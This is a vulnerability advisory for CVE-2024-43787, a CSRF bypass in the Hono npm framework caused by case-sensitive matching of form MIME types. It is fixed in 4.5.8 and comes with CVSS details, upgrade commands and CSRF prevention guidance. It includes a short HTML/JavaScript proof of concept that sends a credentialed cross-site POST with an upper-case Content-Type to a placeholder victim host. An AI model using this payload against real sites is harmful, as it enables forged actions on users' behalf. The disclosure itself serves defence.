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GHSA-rpfr-3m35-5vx5 CVE-2024-43787

Hono CSRF middleware can be bypassed using crafted Content-Type header

Medium npm
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.70% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
4.5.8
Upgrade hono to this version or later

Description

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Affected versions

npm

PackageVulnerableFixed in
hono
< 4.5.8
4.5.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

hono npm → 4.5.8

npm
npm install hono@4.5.8
yarn
yarn add hono@4.5.8
pnpm
pnpm add hono@4.5.8

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
Low
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 5.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-5r4p-p66f-jhc7
Hono: `serveStatic` decodes the request path a second time, leading to bypass of middleware on static paths
Medium Also affects hono
GHSA-hxh3-vqpv-xpqv
hono/jsx renders plain strings unescaped in boundary components, leading to XSS
Low Also affects hono
GHSA-gqvv-2mrq-wpjv
Hono: Incomplete fix for CVE-2026-39408: `toSSG()` still writes files outside the output directory
Medium Also affects hono
GHSA-g6gw-c38x-mqfc
Hono: Unbounded dot-notation nesting in `parseBody()` can cause memory exhaustion
Medium Also affects hono
GHSA-crvj-82cr-hjcx
Hono: Query parser reads parameters after the URL fragment, causing cache-key and proxy interpretation differentials
Medium Also affects hono
GHSA-f23p-vx2j-j53r
Hono: `memo()` retains SSR output across requests, leading to cross-user data disclosure
Medium Also affects hono
GHSA-79qm-7rj5-m7r9
Hono: Proxy Helper does not remove response headers listed in the `Connection` header
Low Also affects hono
GHSA-54fx-42gc-7vw4
Hono: Algorithmic Complexity DoS in Language Middleware
Medium Also affects hono
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